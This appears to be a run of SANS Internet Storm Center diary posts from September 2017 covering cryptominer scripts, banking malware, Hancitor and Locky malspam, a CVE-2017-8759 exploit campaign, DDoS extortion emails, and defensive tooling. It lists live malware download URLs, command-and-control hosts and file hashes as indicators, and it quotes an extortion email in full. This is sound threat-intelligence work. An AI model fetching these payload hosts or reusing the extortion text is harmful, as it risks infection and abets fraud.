Published: 2017-09-30

Who's Borrowing your Resources?

There is a buzz that started to stir in the past few days with the rise of cryptocurrency miner javascript code showing up on various websites. In particular, it seems to be Coinhive's miner javascript code.  I do want to note that Coinhive specifically states:

"While it's possible to run the miner without informing your users, we strongly advise against it. You know this. Long term goodwill of your users is much more important than any short term profits."

Here is what the javascript code snippet that Coinhive's offers looks like (not showing options that are in the documentation):

If you're not familiar with the problem, if the code is placed on the website, whether intentionally or someone exploited a vulnerability, the users visiting the website will unknowingly contribute their computer's processing power to miners.  Different reports say there hasn't been an impact and others say users experienced a significant slowdown when visiting the site with the code.  For example, according to news reports, Showtime's website and its streaming services had the code on it's sites and site visitors had a reported slowdown on their computers.  

Dave Hoelzer submited to us an obfuscated javascript code from Onitube.com.  He said that "Safari would alert me that it was chewing up a lot of energy when I minimized a window!"  I checked the source code of the site as I was writing this up and it's still there.  Here is snippet of source code on the website when I checked it:

I ran it through SpiderMonkey using the following command:

remnux@remnux:~$ js -f /usr/local/etc/def.js -f /home/remnux/Desktop/malware.html > unescape.html

This yields the following:

However, we aren't done yet because it has a second layer of obfuscation.  So, I created a new file and ran it a second time with the same command, but using new filenames.  Now it looks like this:

This matches the code we saw above, but uses some of the options available for the script to control the impact.  I visited onitube.com and did a packet capture for a period of time to see if there were any interesting indicators if you wanted to monitor for this.  There wasn't much there in the TLS traffic.  The IPs used by Coinhive would be one way; the url itself or you could monitor for the hostname that is used in the cert:

It is interesting to note, that it seems streaming media sites are a very popular target.  Users are on there long enough to contribute thier processing power to someone's mining efforts.  The owners of the sitekeys in the code, who are making a profit and taking advantage of unsuspecting users, are not known at this time.  So, if you're visiting a site and your computer turns sluggish, it may be because its taking on a little side job!  




Published: 2017-09-29

Good Analysis = Understanding(tools + logs + normal)

We had a reader send an email in a couple of weeks ago asking about understanding the flags field when looking at data in a report.   He didn't understand what the "flags" were referring to or what the actual flags mean. "They don’t appear related to TCP header flags like I’ve normally seen...S is the most common but I occasionally see RSA, RUS and a few others."

It's a great question to ask and understand to be a good analyst!!  I appreciated the question and desire to understand what it meant!  I personally feel many analysts today are way too dependent on the GUI interface to tell them everything; with no understanding of the tool or network protocols.  Way to often I encounter analysts who look at a GUI interface, but have NO idea how the tool works and in many cases what the data is telling them.  So, they aren't sure why they don't see data they thought they would or they don't know how to interpret the data other than what's on the screen.  In this scenario, without knowing the tool generating the data, there are at least two possible explanations!  I really don't know if he is looking at Netflow logs or if this is a firewall (or another tool).  I did not have that information.  Honestly the flags he listed would work for logs in both scenarios.  However, their interpretation becomes different based on the tool generating it.  I'll explain both based on the following info provided in the email:

"S is the most common but I occasionally see RSA, RUS and a few others."

In case you're not familiar with the flags in a TCP header, here is a high-level overview of the flags (NOTE:  I'm not listing ECN flags for this example):

U = Urgent (URG) - There is an urgent pointer set, process the information/command at the location in the packet the pointer is pointing to immediately (think CTRL-C in the middle of a FTP session to kill it)
A = Acknowledgement (ACK) - Acknowledges receipt of data and is used to ensure data isn't lost (used by both sides of the session since TCP is bi-directional)
P = Push (PSH) - For the receiving system, don't let the data sit in the buffer, push it immediately to the application
R = Reset (RST) - I'm not talking to you at all or I'm done talking to you and I'm killing the connection.  No communication set up or no graceful termination of the session
S = Synchronize (SYN) - Initiate the Initial Sequence Number (ISN) that will be the starting point for that session to track data with the ACK flags.  Remember, used only during the initial three-way handshake!  You should NOT see it anywhere else in the session.
F = Finish (FIN) - Used in the graceful termination of a session.

Scenario 1 - Netflow:  Netflow is meta data about packets that is aggregated to represent a flow of information.  So, it's not looking at just one packet and its flags.  It's looking at the entirety of the flow.  If it's netflow traffic, then usually the flag fields are abbreviated to just the letter (Yes, it can be a decimal sum in some tools, but for this example please see the letters above) AND they are the representation of all flags seen for that specific flow/session.  So, if you see RSA, then the RST, SYN and ACK flags have been set at some point during this flow in some packet or packets.  What you don't know without packets or some analysis, is the combination within the packets.  This could be "normal" such as:

Or not normal such as:

Scenario 2 - Firewall:  If its firewall traffic, some firewalls use just the letters for the flags fields in their logs as well.  It depends on your firewall and the level of logging you have turned on as to what data you will have in your logs.  If it is a firewall log your looking at, then the flag fields are NOT the sum but rather the actual flags set for that specific packet.  The traffic would look like this:  

So, if you see RUS or RSA, definitely not a normal or legitimate flag combination.

In the examples above, each tool's function drives how to interpret the flags field.  Same field, different interpretation!  So, when you're doing analysis, you have to know your tool and its capability in order to understand your logs!!  Without it, your analysis can be severely hindered or flat out wrong!   I appreciate a GUI interface, but think we have forgotten to take the time to teach new analysts what many of us learned coming up the ranks when the GUI wasn't so prevalent!  Teach them the fundamentals.  Give back to the security community and take the time to help the new analyst who wants to learn.  Please don't give them a GUI interface to watch and then forget them!


Published: 2017-09-28

The easy way to analyze huge amounts of PCAP data

When you are investigating a security incident, there are chances that, at a certain point, you will have to dive into network traffic analysis. If you’re lucky, you’ll have access to a network capture. Approximatively one year ago, I wrote a quick diary[1] to explain how to implement a simple FPC or “Full Packet Capture” solution based on a Docker container. It’s nice to capture all the traffic in PCAP files but then? PCAP files are not convenient to process and they consume a lot of disk space (depending on the captured traffic of course).

The next step is to have a tool ready to use to inspect the network traffic at any time. I tested multiple tools but my favourite one remains: Moloch[2]. It is a very good candidate to achieve this task: It helps you to capture traffic (optional), store/index flows in a database (at large scale because based on ElasticSearch) and, of course, search them. I’m also using Docker containers to run Moloch and ElasticSearch because they can be quickly deployed to investigate any PCAP even while on the road. They are two nice containers ready to use[3][4]. To deploy them, I use the following commands:

# docker run -d --name elasticsearch -v /data/elasticsearch:/usr/share/elasticsearch/data elasticsearch:5.2.2-alpine
# docker run -d --name moloch --link elasticsearch:elasticsearch -p 8005:8005 -v /data/tcpdump:/data/pcap:rw danielguerra/docker-moloch

Replace </data/elasticsearch> and <data/tcpdump> with your local directories that will contain, respectively, the ElasticSearch data and PCAP files to analyse.

By default, Moloch can sniff traffic passing by the default configured interface (eth0) but this is not possible with the Docker. If you configure the docker to have access to the local network resources (via ‘—net=host’), you won’t be able to access ElasticSearch. I’m using Moloch in two cases: during one-shot investigations (PCAP files provided by third-parties) or analysis of my own traffic. To achieve this, Moloch provides a nice tool called moloch-capture to ingest PCAP files.

In the first case, just process the provided PCAP file:

# docker exec -it moloch moloch-capture -r /data/pcap/evidence.pcap -t case_CUSTOMER_caseNO_YYYYMMYY

The tag (-t) is useful to search for packets related to a specific investigation.

In the second case, you must process new PCAP files when they are created:

# docker run -d --name moloch --link elasticsearch:elasticsearch -p 8005:8005 -v /data/tcpdump:/data/pcap:rw danielguerra/docker-moloch capture -m -R /data/pcap

Now, it will watch the directory /data/pcap for new “closed” PCAP files and index them. I would recommend you to use a tcpdump command like this:

/usr/sbin/tcpdump -i p1p1 -s 0 -G 1800 -W 96 -w /data/tcpdump/dump-%Y%m%d%H%M.pcap

tcpdump will create a new PCAP file every 1800" (30 mins) and keep an history of 96 * 30 mins (2 days).

Moloch is available through port 8005 and provides a nice interface:

It’s easy to analyse in deep protocols and extract interesting information like files from HTTP flows from the TCP headers up to the data present at the application layer:

All data being indexed in an ElasticSearch instance, you can build nice queries to search for specific pieces of information. Examples: 

protocols == dns && host.dns == /.*\.top/ 
port.dst == 80 && http.uri == /.*admin.*/

Other features that I like:

  • You can also add tags to interesting flows for further references or to share with other analysts. 
  • You can generate a permalink to give access to a specific flow to your colleagues
  • You can re-export interesting flows in other PCAP files

What about building a distributed full packet capture? Let’s imagine that you have hosts with sniffing capabilities on your network.  If you run the initial Docker container to collect PCAP files via those hosts, you can send them to the central Moloch server with a simple cron job like:

find /data/tcpdump -name “*.pcap” -mmin 5 -print | while read PCAP
    scp $PCAP moloch-server:/data/pcap

Files will be stored in the central repository and made available for moloch-capture, which will automatically index them. Once indexed, you don't need to keep the original PCAP files and ElasticSearch will take care of the long-term retention. 

Happy sniffing!

[1] https://isc.sans.edu/forums/diary/Full+Packet+Capture+for+Dummies/21679
[2] http://molo.ch/
[3] https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html
[4] https://github.com/danielguerra69/docker-moloch

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-09-25

XPCTRA Malware Steals Banking and Digital Wallet User's Credentials

1. Introduction

While hunting some phishing emails these days, I came across a malware campaign similar to EngineBox, a banker capable of stealing user credentials from multiple banks [1]. XPCTRA, as I call today’s variant, in addition to banking data, steals online digital wallet users’ credentials from services such as Blockchain.info and PerfectMoney.

The malspams used in the campaign try to induce the victim to open a supposed bank bill link. It actually leads to the download of the XPCTRA dropper, that is, the part of the malware responsible for  environment recognition and downloading new components. Once executed, it initiates a connection with an Internet address to download other malware parts responsible for later malicious actions.

In this diary, I present the XPCTRA analysis the indicators of compromise used in this campaign.

2. Threat analysis

Unlike the previous variant, XPCTRA (read it like “expectra”) does not make use of as many layers of encoding as EngineBox did to try bypassing security layers, which made the analysis simpler.

Look at the diagram shown in Figure 1 and the textual description below to understand the threat flow, from malicious e-mail to data theft:

  • The infection vector (malspam) links to a supposed PDF invoice, which actually leads the victim to download an executable file (dropper);
  • Once executed, the dropper downloads a “.zip” file, unzips and executes the malware payload;
  • It then begins a series of actions, including:
    • Persists itself into the OS, in order to survive system reboot;
    • Changes Firewall policies to allow the malware to communicate unrestrictedly with the Internet;
    • Instantiates “Fliddler”, an HTTP Proxy that is used to monitor and intercept user access to the financial institutions;
    • Installs the Fiddler root certificate to prevent the user from receiving digital certificate errors;
    • Points Internet Browsers settings to the local proxy (Fiddler);
    • Monitors and captures user credentials while accessing the websites of 2 major Brazilian banks and other financial institutions;
    • Stolen credentials are sent to criminals through an unencrypted C&C channel;
    • Establishes an encrypted channel to allow the victim’s system to be controlled by the attackers (RAT);
    • Monitors and captures user credentials while accessing email services like Microsoft Live, Terra, IG and Hotmail. These accesses are used to spread the malware further;

Figure 1 - XPCTRA Threat Flow

NOTE: The XPCTRA sample analysed here (idfptray.exe) was not yet known by VT (VirusTotal) until my submission.

3. Quasar RAT

After posting EngineBox malware analysis [1] last month, through community feedback, I came to know that the threat embedded a framework called Quasar RAT [2] developed in C#. The goal of this framework is to provide a tool for remote access and management of Windows computers— hence the name, RAT (Remote Access Tool).

It turns out the variety of functions the open-source framework has, such as remote desktop, keylogger, etc., made it quite attractive for cybercriminals who ended up using it as a RAT (Remote Access Trojan) tool within their malware.

Notice in Figure 2 the similarity of Quasar RAT directory tree on the left, and the XPCTRA code on the right.

Figure 2—Similarity between Quasar RAT and XPCTRA directory trees

In addition to Quasar, XPCTRA incorporates Fiddler to play the role of HTTP Proxy and, of course, the code responsible for intercepting communications with financial institutions and sending SPAM as well.

4. Digital currency wallets

In addition to banking credentials, XPCTRA is able to steal digital currency wallet’s credentials hosted online like Blockchain.info, PerfectMoney and Neteller. Look at Figures 3 and 4 for code snippets of capturing moments and sending user credentials from some of these institutions.

Figure 3 - Capturing user’s PerfectMoney credentials


Figure 4 – Sending data to C&C

5. Final words

The result of this analysis draws our attention to the security of digital currency wallets, especially those “hosted” in the cloud. Just as customers of traditional financial institutions have faced over the years the most diverse fraud attempts and had to protect themselves, so should digital money users. Give preference to services that offer a second authentication factor for transactions and be sure to enable it.

6. Indicators of compromise (IOCs)


MD5 (250920178234282343294329423.exe) = 4fec5a95ba8222979b80c0fc83f81edd
MD5 (idfptray.exe) = 339c48b0ac25a9b187b8e76582580570


coca.cheddarmcmelt.top TCP/8799
coca.cheddarmcmelt.top TCP/222

7. References

[1] https://morphuslabs.com/enginebox-malware-amea%C3%A7a-clientes-de-mais-de-10-bancos-brasileiros-a8061c4c3cda
[2] https://github.com/quasar/QuasarRAT

Renato Marinho
Morphus Labs| LinkedIn|Twitter


Published: 2017-09-25

Back to Basics: Writing Change Requests in Natural Language

Back to Basics

Back to Basics is a new series focusing on the boring stuff. Tweaking and tuning the things we already do. In these articles we will discuss things that have worked and tips to get them working. This diary will focus on change requests. (see, boring …)

There are several great resources that outline change requests process and or how to stand up a governing policy [1] [2]. Some ‘googleFu’ will get you started and on the way to a decent program. One thing that reminded me of teaching days in Security Leadership (MGMT 512) is how changes are written. Imagine some senior business executive calls and says “Hey we have XYZ App launching tomorrow and the ABC team can’t seem to get to N” and so begins the classic argument of ‘if we could just get those security folks out of our way, we could do our jobs.’ Yes, in 2017 that sentiment still exists.

Instead of telling business executive “There is no way I’m putting that rule in the firewall!” a better conversation to have would go something like “So you want all users to have any access to the server from anywhere at anytime?”

Now before we get excited and think that the conversation will go our way, hold on! Said executive may not have the full picture and may say “Yes, we need this up now.” According to Dark Reading and probably many other sources the number one of the top five firewall mistakes happens to be *ding ding ding!* broad firewall policies [4]. “Okay Mr. ‘So in So’, this is outside of normal policy and change request procedures, I’ll need two executives to approve it and sign off on this. Can we remove this policy after some investigation?”

Referencing both National Institute of Standards and Technology (NIST) and SysAdmin, Audit, Network, Security (SANS), they state include as much information as possible [1] [2]. The goal here is to enhance that with some natural language.

Emergency Change Request Addendum:

Mr. So in So, Vice President of Such in Such, in concurrence with Ms. Such in So, Vice President of Something, have agreed that the new Widget Money Making Service firewall policy rule that follows is approved. ‘All users and all applications on any port at any time from anywhere can access the Widget Money Making Service.’ This firewall policy will remain in effect indefinitely.

The natural language idea may not be new? That is why we are getting back to boring basics, Having seen the above scenario play out a short time ago, it needed to be brought back up. In the above case, using natural language gave one of the two executives a moment of pause and it actually worked. Instead of giving into the software developers, the business leader asked them “Do you really need all that access?” This author was not around for the answer, however, noted the impact natural language had on the change.


Back to Basics Tips: Change Requests in Natural Language

  • Translate the request into natural human readable language
  • Ask probing questions about the need of the change
  • Establish if there is a time limit on the change
  • For unnatural or out of policy changes attempt to get more than one exec to approve (note: this something for the business to establish as policy before hand. It is not wise to make this up on the fly)


Let us know if you attempt this, and what the results are?


[1] https://www.sans.org/summit-archives/file/summit-archive-1493830822.pdf

[2] https://www.nist.gov/publications/guide-security-focused-configuration-management-information-systems

[3] https://www.sans.org/course/security-leadership-essentials-managers-knowledge-compression

[4] https://www.darkreading.com/operations/5-most-common-firewall-configuration-mistakes-/a/d-id/1322225?


Published: 2017-09-24

Forensic use of mount --bind

In my previous diary, I mentioned a recent case that led me to write mac-robber.py. In that case, I mentioned that I needed to build a filesystem timeline and wanted to collect hashes because I suspected there were multiple copies of some possible malware scattered around the disk. The biggest issue I had was that hashing the files requires reading them which would update the access times, something I really did not want to do. So, I decided to use a trick on a live system that I had employed occasionally in the past when I got a tar file rather than a disk image of, say, a directory from a SAN or NAS. For those of you who aren't aware, on Linux, you can use the mount command to essentially link a directory to another location in the directory tree. In the screenshot below, you can see the results of df -h and mount on one of my test VMs.

Now, I use the mount --bind command to mount the /tmp directory to /mnt/image. As you can see, there are now contents to /mnt/image, trust me, they match what is in /tmp. Also, from the mount command, you can see that this is currently mounted read-write (rw), for some reason, you can't do -r or -o ro with mount --bind. The second mount command, remounts /mnt/image as read-only (ro). Notice, however, that he bind mount doesn't show up in df -h.

But, now that I have the read-only bind mount, I can read any file there without modifying the access time. As you can see below, if I read the file from /mnt/image, the access time of the original file in /tmp is not modified, but if I read from the file in /tmp, it is.

So, for the recent case I mentioned, I did a bind mount to mount / to /mnt. If you look back up at that first screenshot though, you'll notice that /sys, /proc, and a few other directory trees are actually mounts of various kinds. They will not appear under /mnt unless you do the same trick for each of them. This is kind of a hassle, but can probably be scripted (though I just did it by hand since it was only a handful). I do this because I especially want to get hashes of the exe files under /proc, such as /mnt/proc/1234/exe. This may be the only way to hash a malicious binary as it may no longer exist on the filesystem (and we may not be able to carve deleted files from unallocated space on a live system).

When you are  finished, you can use the following one-liner to unmount all the bind mounts. The awk command is used to pluck the mount point, the sort -r sorts them in reverse order so that (in the screenshot below) /mnt/image/sys gets unmounted before /mnt/image.

$ mount | fgrep bind | awk '{print $3}' | sort -r | xargs sudo umount

So, there you have it. My trick to use mount --bind to allow you to read files without modifying access times so that you don't mess up your timeline. It really came in handy in that recent live response case. Let me know how it works for you or if you have other suggestions for ways to simplify it. You can leave comments below or via our contact form.

Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu




Upcoming Courses Taught By Jim Clausing


Type Course / Location Date

Community SANS
FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques
Community SANS Ottawa FOR610 Ottawa, ON
Dec 4, 2017 -
Dec 9, 2017


Published: 2017-09-22

What is the State of Your Union?

Regularly the President of the United States delivers the State of the Union address. This practice "fulfills rules in Article II, Section 3 of the U.S. Constitution, requiring the President to periodically give Congress information on the "state of the union” and recommend any measures that he believes are necessary and expedient.".

What if you as an information security leader held an information security State of the Union address with the explicit purpose of educating both your leaders and business partners on your information security program and the areas of focus for the next year? Communicating to those who are not in our area is certainly a challenge; however, the benefits outweigh the effort in several different ways.

By being intentional at sharing the state of your security union, you can not only deliver the status of your program but also equip your leaders with information they can quite literally share in environments that your team is not able to attend.  

What are some candidates to include in your State of the Union?

  • Effectiveness of your program
  • Opportunities to improve your program
  • Communicate recent achievements
  • Demonstrate stewardship of your resources
  • Show how your team supported objectives of your organization
  • Possible actions that you want others to take
  • Clear call to action to the leaders to increase support, funding, and staffing
  • Opportunity to receive feedback

How are you communicating the State of Your Security Union? Please leave what works in our comments section below!

Russell Eubanks

ISC Handler

SANS Instructor



Published: 2017-09-22

Malspam pushing Word documents with Hancitor malware


I previously wrote a diary on Hancitor back in February 2017.  Even though I haven't written a diary about it lately, it's been a near-daily occurrence since then.  There's been no significant change, which is why I haven't bothered.  Thursday 2017-09-21 included yet another wave of malicious spam (malspam) pushing Hancitor Word documents.  Since it's been a while, let's review indicators for this most recent wave.

Hancitor, also known as Chanitor or Tordal, pushed Pony and Vawtrack last year.  However, this year it stopped using Vawtrack and now pushes DELoader/ZLoader.  The most recent technical write-ups I've seen on Hancitor are here, here, and here.

At least two Twitter accounts routinely tweet indicators for Hancitor malspam like URLs and file hashes.  The ones I routinely check are @cheapbyte (example) and @James_inthe_box (example).  However, other accounts also tweet Hancitor indicators.  You can keep up with this near-daily information by searching Twitter for recent tweets tagged #hancitor.

The emails

Thursday's emails were disguised as yet another invoice, this time spoofing a company named Advanced Maintenance.  Advanced Maintenance is a general contract and maintenance "handyman" company with various locations in the US.  The emails all spoof a domain name registered by the company's President/CEO named advutah.com.  However, these messages are not related to Advanced Maintenance, and they do not actually come from that domain.

Advanced Maintenance is aware of this malspam.  If you go to the company's official website, you'll see a warning to ignore these emails.

Shown above:  Pop-up message from the company's official website.

Links in the email point to various URLs designed to download a malicious Word document.  As in previous waves of malspam, the downloaded Word document has macros designed to infect a vulnerable Windows computer, if enabled.

Shown above:  Screenshot from one of the emails.

Shown above:  Clicking on a link from the email sent me a malicious Word document.

Shown above:  The malicious Word document waiting for me to enable macros.

The traffic

I infected a host in my lab.  Network traffic was typical for what we've seen in recent months from Hancitor malspam.  The only difference?  I didn't see a base64 string in the initial HTTP GET request for the Word document like I did earlier this week.  That base64 string represents the recipient's email address, which has been standard practice for months now.  However, this time, the initial HTTP GET request used a plaintext string for the recipient's email address.

Shown above:  Traffic from an infection filtered in Wireshark.

Snort and Suricata alerts on the network traffic are the same as we've seen for months now.  This campaign has slowly evolved, but it's noticeably the same as earlier this year.

Shown above:  Some alerts from the Snort subscription ruleset using Snort

Shown above:  Some alerts from the EmergingThreats Pro ruleset using Squil with Suricata on Security Onion.

The infected host

After a cursory search, I couldn't determine how malware stays persistent on an infected Windows host.  However, I did find several artifacts for encrypted traffic-related services like Tor.

Shown above:  Artifacts found in a infected user's AppData\Local\Temp directory.

Shown above:  Artifacts found in a infected user's AppData\Roaming directory.

Indicators of Compromise (IOCs)

The following IOCs and other indictors are for Hancitor malspam on Thursday 2017-09-21.

Email headers:

  • Date/Time:  Thursday 2017-09-21 as early as 16:58 UTC through at least 18:42 UTC
  • Sender (spoofed):  "Advanced Maintenance Inc." <maintenance@advutah.com>
  • Examples of subject lines:
    • Subject:  FW: Your Invoice I114738207 from Advanced Maintenance
    • Subject:  FW: Your Invoice I131761045 from Advanced Maintenance
    • Subject:  FW: Your Invoice I144174411 from Advanced Maintenance
    • Subject:  FW: Your Invoice I156641102 from Advanced Maintenance
    • Subject:  FW: Your Invoice I182402737 from Advanced Maintenance

Associated traffic:

  • EAFGI.COM - GET /in.php?n=[recipient's email address]
  • elefson.info - GET /in.php?n=[recipient's email address]
  • elefsonhvac.biz - GET /in.php?n=[recipient's email address]
  • TRUSTDEEDCAPITAL.NET - GET /in.php?n=[recipient's email address]
  • TRUSTDEEDCAPITAL.ORG - GET /in.php?n=[recipient's email address]
  • wpipm.org - GET /in.php?n=[recipient's email address]
  • port 80 - saritbida.com - POST /ls5/forum.php
  • port 80 - saritbida.com - POST /mlu/forum.php
  • port 80 - saritbida.com - POST /d2/about.php
  • port 80 - 3dprintbudapest.com - GET /wp-content/plugins/all-in-one-seo-pack/1
  • port 80 - 3dprintbudapest.com - GET /wp-content/plugins/all-in-one-seo-pack/2
  • port 80 - 3dprintbudapest.com - GET /wp-content/plugins/all-in-one-seo-pack/3
  • port 80 - hanrinkedhed.com - POST /bdl/gate.php
  • api.ipify.org - GET /
  • checkip.dyndns.org - GET /
  • Various IP addresses over various TCP ports - Tor traffic
  • port 443 - TCP SYN packet approx once avery 5 minutes

Malware recovered from the infected host:

SHA256 hash:  39d99fdcc0bd9bb9c7ccf65af499eec073265424f1310bc02b51954b8f6f9782

  • File size:  390,656 bytes
  • File name:  invoice_729017.doc
  • File description:  Word document with macros that run Hancitor

SHA256 hash:  7ffcaf562952dc920e5026c862b4034cadb4ef8c59ec96a5ae0a2768db513746

  • File size: 194,048 bytes
  • File location:  C:\Users\[username]\Local\Temp\BNE53F.tmp
  • File location:  C:\Users\[username]\Roaming\Awceiv\coof.exe
  • File description:  Follow-up malware, DELoader/ZLoader

Final words

As it stands, the open nature of our Internet makes it easy for criminals behind Hancitor malspam and other campaigns to operate.  For example:

  • Email protocols make it trivially easy for criminals to spoof a sending address and other header lines to mislead recipients.
  • Hosting providers and tools like Wordpress allow practically anyone to set up a website, then forget to keep it patched and up-to-date.  Enormous numbers of these legitimate websites are compromised by criminals and used in various campaigns.
  • Requirements to fraudulently establish an account at a hosting provider are easy to obtain.  This encourages a cycle of abuse as criminals establish new servers, those servers are reported, the hosting provider shuts them down, and criminals set up new servers.
  • Windows is still a mainstream operating system, and its default settings provide criminals relatively easy targets to infect.  Outdated versions like Windows 7 and XP still account for over 50% of the desktop market share.  These hosts are even easier to infect, especially if they're not up-to-date and patched.

I view network-enabled computing devices like I view most middle-aged adults living a sedentary lifestyle.  Both are probably healthier than they seem, even if there is plenty of room for improvement.  All you need is the right mindset.  The Internet is a wonderful place, but it's also a great equalizer.  Both good and bad people coexist in the same space when we're online.  It pays to be careful if you're out and about in a cyber sense--whether you're reading email, browsing the web, or interacting with social media.

As usual, it's relatively easy for system administrators (and the technically inclined) to follow best security practices on their Windows computers.  Using Software Restriction Policies (SRP) or AppLocker can easily prevent these types of malspam-based infections from occurring.  If you have any other tips, please share them in the comments.

Traffic and malware samples for today's diary can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2017-09-21

Emails threatening DDoS allegedly from Phantom Squad


As a follow-up to one of our June 2017 diaries asking people to forward us any DDoS threats, we received yet another example: 

Date: Tuesday 2017-09-19 at 18:04 UTC
Subject: DDoS Warning
From: <uid101080@web.websupport.sk.>
Message-Id: <1505844251.007448.31360.nullmailer@me>

Hello, [removed]


We are Phantom Squad

Your network will be DDoS-ed starting Sept 30st 2017 if you don't pay protection fee - 0.2 Bitcoin @ [removed].

If you don't pay by Sept 30st 2017, attack will start, yours service going down permanently price to stop will increase to 20 BTC and will go up 10 BTC for every day of attack.

This is not a joke.



Since 2017-09-19, at least 4 people have tweeted about the same type of emails, supposedly from Phantom Squad:

This feels like a scam using the notariety of Phantom Squad's name, because the group has gotten some fairly high-profile press coverage in recent years.  In December 2015, Phantom Squad claimed responsibility for a DDoS attack against Xbox Live.  A year later in December 2016, Phantom Squad was apparently involved in a DDoS attack against Steam.  However, I haven't found any evidence yet this group is involved in small business extortion.

Wheter or not this email is legitimate or fake, they all use notariety of the group's name to make the threat sound plausible.

In our June 2017 diary about fake DDoS extortion emails, Johannes Ullrich provides some guidance for people that receive these types of messages.  Tips include:

  • Verify your DDoS plan:  Do you have an agreement with an anti-DDoS provider?  A contact at your ISP?  If so, make sure everything is set up and working right.
  • Attackers often run short tests before launching a DDoS attack.  Can you find any evidence of that?  Has there been a brief, unexplained traffic spike?  If so, take a closer look.  The threat is more serious if you detect an actual test, because the purpose of a test is often to assess the firepower needed to DDoS your network.

Final words

Thanks to everyone who already forwarded examples to us.  As Johannes previously asked in June 2017, please continue to forward us any similar emails.  We can always use the additional data.

A santized copy of our most current example can be found here.  It's in a password-protected zip archive.  If you don't know the password, look here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2017-09-21

Email attachment using CVE-2017-8759 exploit targets Argentina


On 2017-09-12, FireEye published a blog post about a zero-day exploit utilizing CVE-2017-8759.  The vulnerability was fixed that same day with Microsoft's September 2017 Security Updates.

In FireEye's blog post, this exploit was used against Russian speakers to distribute FINSPY malware.  By 2017-09-19, I ran across another email spoofing an Argentina government agency using a CVE-2017-8759 exploit to distribute Betabot malware.

Today's diary reviews the email, malware, and traffic associated with this most recent exploit for CVE-2017-8759.

The email and attachment

The email pretends to be from the Administracion Federal de Ingresos Publicos (AFIP) a Argentina government agency responsible for tax collection and administration.  The message actually came from a commercial mail server on an IP address assigned to Gualberto Larrauri, an Argentina-based Internet service provider (ISP).

The message describes the attachment as a manual for the AFIP purchasing portal.  The attachment is a zip archive, and that archive contains a Rich Text Format (RTF) file with .doc as the file extension.  True to its word, the RTF file contains an annex to the official AFIP document covering the subject.  It also contains an exploit for CVE-2017-8759.  Merely opening the file using Microsoft Word will infect a vulnerable Windows computer.

Shown above:  Screenshot of the email.

Shown above:  Email headers indicate where the email actually came from.

Shown above:  The email attachment and extracted RTF document.

Follow-up malware

Opening the RTF document generated Powershell activity that retrieved a Windows executable.  This follow-up executable triggered EmergingThreats alerts for Neurevt.A/Betabot when I infected a host in my lab.  The malware was made persistent through a Windows registry update.

Shown above:  Follow-up malware (Betabot) made persistent on the infected Windows host.

Network traffic

Infection traffic included HTTP requests for SOAP code injection, JavaScript, Powershell script, and a Windows executable over TCP port 8007.  Post-infection activity consisted of HTTP POST requests over TCP port 80.

Shown above:  Network traffic for this infection filtered in Wireshark.

Shown above:  Alerts from Sguil in Security Onion using Suricata with the EmergingThreats Pro ruleset.

Indicators of Compromise (IOCs)

Headers from the email:

  • Received:  from vtcc.com.ar ([])
  • Envelope-sender:  <compras@afip.gov.ar> 
  • Message-ID:  <f651ef3fdcbc53e64929aca0ff1df14d@vtcc.com.ar>
  • Date:  Tuesday, 2017-09-19 at 21:48 UTC
  • From:  "Administracion Federal de Ingresos Publicos - (AFIP)" <compras@afip.gov.ar>
  • Subject:  Noticia de Actualizacion - Sistema de Compras (AFIP)

File hashes:

SHA256 hash:  7bd46284dabf1f400102aa35e123eb2ffe2838560fbc016ba4f2cd376742004c

  • File size:  52,132 bytes
  • File type:  Zip archive
  • File name:  comprasAnexoII.zip
  • File description:  Email attachment

SHA256 hash:  4a07c6f26ac9feadbd78624d4e063dfed54e972772e5ee34c481bdb86c975166

  • File size:  286,981 bytes
  • File type:  Rich Text Format (RTF) file
  • File name:  comprasAnexoII.doc
  • File description:  RTF file with CVE-2017-8759 exploit

SHA256 hash:  610e6611b3b2e3bd85173cba76bf069fb7134b86f533141f79811fcc29d62b33

  • File size:  440,832
  • File type:  PE32 executable
  • File location:  hxxp://classupdate.punkdns.top:8007/txt/words.exe
  • File location:  C:\ProgramData\SystemMicrosoftDefender2.1\[random characters].exe
  • File description:  Follow-up malware, Neurevt.A (Betabot)

Infection traffic:

  • port 8007 - classupdate.punkdns.top:8007 - GET /txt/doc.txt
  • port 8007 - classupdate.punkdns.top:8007 - GET /txt/accounts.hta
  • port 8007 - classupdate.punkdns.top:8007 - GET /txt/pause.ps1
  • port 8007 - classupdate.punkdns.top:8007 - GET /txt/words.exe

Post-infection traffic:

  • port 80 - av.bitdefenderesupdate.ru - POST /.av/logout.php
  • port 80 - av.bitdefenderesupdate.ru - POST /.av/logout.php?id=[various numbers]

Final words

As I write this, nine days have passed since Microsoft released its update to address CVE-2017-8759.  The associated exploit is no longer a zero-day.  If your organization follows best security practices, you should be fine.

However, many organizations are notoriously slow to apply these updates.  Be aware this exploit is active in the wild.  I'm sure it will eventually find its way to wide-scale distribution through malicious spam.

A copy of the email, taffic, and associated malware for today's diary can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2017-09-20

Ongoing Ykcol (Locky) campaign

Today I noticed a high amount of e-mails on my honeypots with similar subject, body and attachment. It caught my attention . After inspecting the attachments and doing some analysis, it was not difficult to realize that those supposed “Status Invoice” messages were, indeed, part of an ongoing campaign pushing a Locky ransomware variant that is being called Ykcol (or Locky in reverse) due to the encrypted file extension (“.ykcol”).

In today’s phishing messages, I noticed an additional subject line “Your Payment” and “.rar” attachments instead of the “zip” ones seen two days ago based on a post from Bleeping Computer[1].

The threat flow of today’s campaign is very simple and can be seen in Figure 1.

Figure 1 – YKCOL Threat Flow


Indicators of compromise (IOCs)

From the samples I received, it was possible to identify 4 (four) different VBS samples, from which the following IOCs were extracted:


MD5 (20080920_239777.vbs) = a93845a2e5e4660fb673d949a1f69bc6
MD5 (20080920_387690.vbs) = 2a067fb838be5af230df6a51aa25ea08
MD5 (20080920_441014.vbs) = 638d0a50bf8a166ffed382b7f9935c4e
MD5 (20080920_860397.vbs) = 77482e00daafbb3cec934c98510f0e19
MD5 (RSkfsNR7*) = 83be007cb41eec07e5ae8270cf98a7a6

